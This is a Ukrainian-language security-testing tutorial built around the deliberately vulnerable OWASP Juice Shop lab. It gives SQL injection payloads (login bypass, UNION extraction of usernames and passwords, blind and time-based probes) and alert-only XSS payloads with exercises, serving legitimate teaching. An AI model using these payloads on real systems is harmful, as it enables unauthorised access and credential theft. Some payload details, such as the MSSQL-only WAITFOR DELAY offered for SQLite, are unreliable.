Тестування безпеки web додатків

практикум

Для практикуму з тестування безпеки веб-додатків будемо використовувати програму OWASP Juice Shop. Ця програма включає безліч типових вразливостей.

План практикуму

  1. Введення у веб-безпеку
    • Поговоримо про важливість безпеки веб-застосунків.
    • Обговоримо основні види атак (SQL Injection, XSS, CSRF тощо).
    • Короткий вступ в OWASP Top 10.
  2. Встановлення та налаштування Juice Shop
    • Покажемо, як запустити Juice Shop через хмарний сервіс, GitHub Codespaces без необхідності використовувати Docker.
    • Підключення до програми та вивчення інтерфейсу.
  3. Тестування на SQL-ін'єкцію
    • Пояснимо, що таке ін'єкція SQL.
    • Покажемо, як шукати вразливості.
    • Практичні завдання.
  4. Тестування на XSS (Cross-Site Scripting)
    • Пояснимо, що таке XSS-уразливості та способи їх експлуатації.
    • Практичні завдання.

Вступ до веб-безпеки

1. Важливість безпеки веб-застосунків

Сучасні веб-додатки – це основа взаємодії користувачів та організацій. Через них проходять великі обсяги даних, включаючи особисті дані, фінансову інформацію та ділову документацію. Захист цих даних критичний з низки причин:

  • Конфіденційність: Витік даних може призвести до втрати довіри користувачів, штрафів та юридичних наслідків.
  • Цілісність:: Втручання в дані може порушити роботу бізнес-процесів, внести помилки та зіпсувати репутацію компанії.
  • Доступність: Атаки можуть призвести до відмови в обслуговуванні, що зашкодить бізнесу та досвіду користувача.

Постійно збільшується кількість атак, спрямованих на веб-програми. Хакери використовують все більш складні методи, щоб експлуатувати уразливості, тому розробники та тестувальники зобов'язані застосовувати найкращі практики безпеки.

2. Основні види атак

Розберемо кілька поширених типів атак, які часто зустрічаються у веб-додатках:

  • SQL Injection (SQL-ін'єкція)

    • SQL-ін'єкції відбуваються, коли зловмисник може вставити або впровадити довільні SQL-команди в запити до бази даних. Це може дозволити хакеру отримати несанкціонований доступ до даних, змінити їх чи навіть видалити.
    • Приклад: Вставка ' OR '1'='1 у полі введення пароля може дозволити обійти перевірку облікових даних.
  • XSS (Cross-Site Scripting) - Міжсайтовий скриптинг

    • XSS-атаки дозволяють зловмиснику впроваджувати шкідливі скрипти на сторінки веб-сайту, які потім виконуються у браузері жертви. Це може призвести до крадіжки даних (наприклад, сесійних файлів cookie) або виконання небажаних дій від користувача.
    • Приклад: Вставка шкідливого коду JavaScript в поле коментарів сайту.
  • CSRF (Cross-Site Request Forgery) — Міжсайтова підробка запитів

    • CSRF-атака змушує користувача виконати небажані дії на веб-сайті, де він автентифікований, наприклад, переказ грошей або зміна налаштувань облікового запису, не підозрюючи про це.
    • Якщо користувач авторизований на сайті банку, зловмисник може відправити запит від імені користувача без його відома.

3. Короткий вступ у OWASP Top 10

OWASP (Open Web Application Security Project) – це міжнародна організація, яка займається питаннями безпеки програм. Вони створюють стандарти та рекомендації, допомагаючи розробникам та тестувальникам захистити свої програми від поширених уразливостей.

OWASP Top 10 — це список найбільш критичних уразливостей веб-застосунків, який оновлюється раз на кілька років. Ось короткий огляд поточних (2021) категорій:

  1. Broken Access Control - Порушення контролю доступу.

    • Приклад: Користувач може отримати доступ до ресурсів, яких він не повинен мати доступ.
  2. Cryptographic Failures - Помилки шифрування.

    • Приклад: Недостатнє шифрування даних, наприклад незахищені паролі або номери кредитних карток.
  3. Injection - Уразливості, пов'язані з ін'єкціями (SQL, NoSQL, OS Command Injection).

    • Приклад: ін'єкція SQL, коли зловмисник може виконувати довільні команди в базі даних.
  4. Insecure Design - Небезпечне проектування.

    • Приклад: Неувімкнення заходів безпеки на стадії проектування програми.
  5. Security Misconfiguration - Помилки конфігурації безпеки.

    • Приклад: Використання стандартних налаштувань безпеки, слабкі паролі адміністратора.
  6. Vulnerable and Outdated Components — Вразливі та застарілі компоненти.

    • Приклад: Використання бібліотек із відомими вразливістю.
  7. Identification and Authentication Failures - Помилки ідентифікації та аутентифікації.

    • Приклад: Недосконала система перевірки паролів, яка дозволяє зловмисникам отримати доступ.
  8. Software and Data Integrity Failures — Порушення цілісності програмного забезпечення та даних.

    • Приклад: Використання сторонніх компонентів без перевірки їх безпеки.
  9. Security Logging and Monitoring Failures — Помилки журналування та моніторингу безпеки.

    • Приклад: Нездатність адекватно відстежувати підозрілу активність у системі.
  10. Server-Side Request Forgery (SSRF) - Підробка запитів на стороні сервера.

  • Приклад: Хакер змушує сервер надіслати запит на внутрішні ресурси, яких сервер має доступ.

Встановлення та налаштування Juice Shop

Кроки по запуску Juice Shop через GitHub Codespaces:

  1. Реєстрація або авторизація на GitHub

    • Якщо у вас немає облікового запису на GitHub, необхідно зареєструватися на сайті github.com. Процес реєстрації триває кілька хвилин.
    • Якщо ви вже маєте обліковий запис, виконайте вхід.

  2. Створення форка репозиторію

    • Перейдіть за посиланням на репозиторій: Juice Shop Codespaces.
    • Натисніть кнопку Fork, щоб створити копію репозиторію у своєму GitHub-акаунті.

  3. Запуск проекту в Codespaces

    • Після створення форки відкрийте свій форкнутий репозиторій.
    • У верхній частині екрана знайдіть кнопку <> Code і натисніть на неї.
    • Виберіть вкладку Codespaces та натисніть на кнопку Create codespace on main.

  4. Очікування розгортання

    • Процес створення середовища може тривати кілька хвилин. Codespaces автоматично налаштує ваше оточення, використовуючи конфігураційні файли з репозиторію.
    • Після завершення процесу ви потрапите у середу розробки VS Code, що працює у хмарі.

  5. Запуск програми

    • Відкрийте термінал у Codespaces.
    • Введіть команду для запуску програми:
      npm start
    • Програма буде запущена на локальному сервері.

  6. Відкриття програми у браузері

    • Щоб відкрити програму, перейдіть у вкладку Ports у Codespaces (вона розташована на панелі знизу).
    • Знайдіть порт, на якому запущено програму (наприклад, порт 3000).
    • Натисніть на іконку глобуса поряд з номером порту, щоб перейти URL і відкрити Juice Shop в браузері.

Доступ до бази даних

Крок 1: Відкриття нового терміналу

  • Перейдіть до меню Terminal та виберіть New Terminal.

Крок 2: Встановлення SQLite

  • У новому терміналі виконайте команди:
     
    sudo apt-get update

    sudo apt-get install sqlite3

Крок 3: Перевірка установки

  • Перевірте встановлення:
    sqlite3 --version

Крок 4: Доступ до бази даних

  1. Перейдіть до директорії:
    cd data
  2. Відкрийте базу даних:
    sqlite3 juiceshop.sqlite

Структури бази даних SQLite

Список таблиць:

    • Щоб побачити список усіх таблиць у базі даних, виконайте таку команду:
      .tables

Перегляд структури таблиці::

    • Щоб переглянути структуру конкретної таблиці, використовуйте команду PRAGMA table_info(). Наприклад, щоб побачити структуру таблиці Users, виконайте:
      PRAGMA table_info(Users);

Перегляд усіх даних у таблиці:

    • Якщо ви хочете переглянути дані в конкретній таблиці, ви можете використовувати команду SELECT. Наприклад, щоб переглянути всі записи в таблиці Users, виконайте:
      SELECT * FROM Users;

Вихід із SQLite:

    • Щоб вийти з командного рядка SQLite, просто введіть:
      .exit

Тестування на SQL-ін'єкцію 

  1. Базова SQL-ін'єкція (Authentication Bypass)

    • Вхідні дані:
      ' OR '1'='1
    • Використовуйте в полях логіна (наприклад, Email та Password) для обходу автентифікації.

  2. SQL-ін'єкція з використанням коментарів

    • Вхідні дані:
      admin' --
    • Ця ін'єкція завершує перевірку пароля та коментує залишок SQL-запиту.

  3. SQL-ін'єкція з об'єднанням

    • Вхідні дані:
      ' UNION SELECT username, password FROM Users --
    • Спробуйте виконати цей запит у полі, яке очікує на одне значення (наприклад, username). Це може повернути імена користувачів та паролі.

  4. Складні ін'єкції

    • Вхідні дані:
      ' AND (SELECT COUNT(*) FROM Users) > 0 --
    • Цей запит перевіряє, чи існує хоча б один запис у таблиці Users.

  5. Ін'єкція з використанням функцій SQLite

    • Вхідні дані:
      ' OR EXISTS(SELECT * FROM sqlite_master WHERE type='table' AND name='Users') --
    • Перевіряє наявність таблиці Users у базі даних.

  6. Ін'єкція з використанням часу (Blind SQL Injection)

    • Вхідні дані:
      ' OR (SELECT 1 FROM Users WHERE username='admin' AND (SELECT COUNT(*) FROM Users) > 0) WAITFOR DELAY '0:0:5' --
    • Цей запит змушує сервер чекати 5 секунд, якщо умова є істинною, що може допомогти в розумінні структури даних.

  7. Пошук за ідентифікатором користувача

    • Вхідні дані:
      ' OR id = 1 --
    • Ця ін'єкція може повернути дані користувача з ідентифікатором 1.

  8. Використання підзапитів

    • Вхідні дані:
      ' UNION SELECT (SELECT name FROM sqlite_master WHERE type='table') --
    • Цей запит повертає назви всіх таблиць у базі даних.

Як використовувати

  1. Зайдіть у Juice Shop: Відкрийте програму Juice Shop.
  2. Знайдіть вразливі поля: Це можуть бути форми входу, пошуку або реєстрації.
  3. Вставте ін'єкції: Введіть одну з вищезгаданих ін'єкцій у відповідне поле та натисніть «Надіслати»

Самостійна робота

Завдання 1: Пошук уразливостей у формі реєстрації

Ціль: Знайти вразливість SQL-ін'єкції у формі реєстрації користувачів

Кроки:

  1. Відкрийте програму Juice Shop.
  2. Перейдіть на сторінку реєстрації.
  3. Введіть у полі імені користувача наступний SQL-код:
    ' OR '1'='1'; --
  4. Перегляньте, чи вдалося вам зареєструватися з цими даними.

Завдання 2: Перевірка уразливостей у формі пошуку

Ціль: Знайти SQL-ін'єкції у формі пошуку продуктів

Кроки:

  1. Перейдіть на сторінку пошуку продуктів у Juice Shop.
  2. Введіть у полі пошуку наступний SQL-код:
    ' UNION SELECT username, password FROM Users; --
  3. Проаналізуйте, чи ви отримуєте будь-які дані про користувачів.

Завдання 3: Blind SQL Injection

Ціль: Зрозуміти, як працює Blind SQL Injection та як її можна використовувати для отримання даних.

Кроки:

  1. Використовуйте наступну ін'єкцію в одному з полів введення (наприклад, поле логіну):
    ' AND (SELECT COUNT(*) FROM Users) > 0; --
  2. Змініть значення за умови (наприклад, > 1, > 2 і т.д.) і спостерігайте, як змінюється відповідь сервера.

Завдання 4: Аналіз уразливостей в URL

Ціль: Перевірити, чи є вразливості ін'єкції SQL у параметрах URL.

Кроки:

  1. Відкрийте програму Juice Shop і зверніть увагу на URL-адресу.
  2. Спробуйте змінити параметри URL, додаючи ін'єкції SQL. Наприклад:
    http://localhost:3000/#/products?search=' OR '1'='1'; --
  3. Перевірте, чи змінюється поведінка програми під час використання таких параметрів.

Введение в XSS

Cross-Site Scripting (XSS) — це вразливість безпеки, яка дає змогу зловмисникам впроваджувати шкідливі скрипти в контент, який відображається іншим користувачам. Це може призвести до крадіжок сесій, крадіжок облікових записів, фішингу та інших атак.

Основні типи XSS

  1. Stored XSS: Шкідливий скрипт зберігається на сервері (наприклад, у базі даних), а потім відображається користувачам.
  2. Reflected XSS: Шкідливий скрипт передається через URL і негайно виконується у відповіді сервера.
  3. DOM-based XSS: Скрипт виконується на стороні клієнта, маніпулюючи DOM без взаємодії із сервером.

Практика

Форма додавання коментарів

  • Де шукати: На сторінці продукту в Juice Shop знайдіть розділ для коментарів, де користувачі можуть залишати відгуки або коментарі.
  • Що вводити: Вставте ваші XSS-коди (наприклад, <script>alert('XSS');</script>) у текстове поле для коментарів та опублікуйте коментар.

2. Поле пошуку

  • Де шукати: На головній сторінці або в розділі "Пошук" знайдіть рядок пошуку.
  • Що вводити: Введіть шкідливий скрипт, наприклад:
    <script>alert('XSS Search');</script>
    або
    <img src=x onerror="alert('XSS');" />

3. Форма реєстрації або входу

  • Де шукати: Перейдіть на сторінки реєстрації або входу до системи.
  • Що вводити: Введіть коди XSS у поля введення, такі як ім'я користувача або пароль.

4. URL-параметри

  • Де шукати: В адресному рядку браузера Можна додати параметри до URL Juice Shop.
  • Що вводити: Спробуйте змінити URL, додавши XSS-код, наприклад:
    http://localhost:3000/#/search?q=<script>alert('XSS URL');</script>

5. DevTools (Консоль)

  • Де шукати: Відкрийте інструменти розробника (зазвичай F12 або Ctrl+Shift+I) та перейдіть на вкладку «Консоль».
  • Що вводити: Введіть JavaScript для перевірки XSS, наприклад:
    -
    const userInput = "<img src=x onerror='alert(\"XSS DOM\");'/>"; document.body.innerHTML += userInput;

Як перевірити результати

  • Після введення XSS-коду в будь-яке із зазначених полів, перевірте, чи з'являється спливаюче вікно з повідомленням, що вказує на успішне ін'єкції.
  • Зверніть увагу на можливі повідомлення про помилки або поведінку програми. Це може допомогти вам зрозуміти, як захищати програму від XSS-уразливостей.

Бажаєте поглибити свої знання у тестуванні безпеки веб-додатків?

Якщо вам потрібен повноцінний курс із тестування безпеки веб-додатків, де ви зможете:

  • Вивчити деталі OWASP Top 10.
  • Зрозуміти, як запобігати атакам SQL-ін'єкції, XSS, CSRF та інші вразливості.
  • Опанувати інструменти для проведення тестів безпеки.
  • Здобути практичний досвід роботи з реальними вразливістю на тренувальних веб-додатках.

То ви можете записатися на місячний практичний курс!!

🔹Групові та індивідуальні заняття з досвідченим викладачем.
🔹Живі уроки із доступом до записів.
🔹 Работа с реальными проектами.

Підтримка та питання

Якщо вам потрібна будь-яка підтримка або у вас виникли додаткові питання, не соромтеся зв'язатися з нами, ми готові швидко надати вам допомогу.

Через чат-бот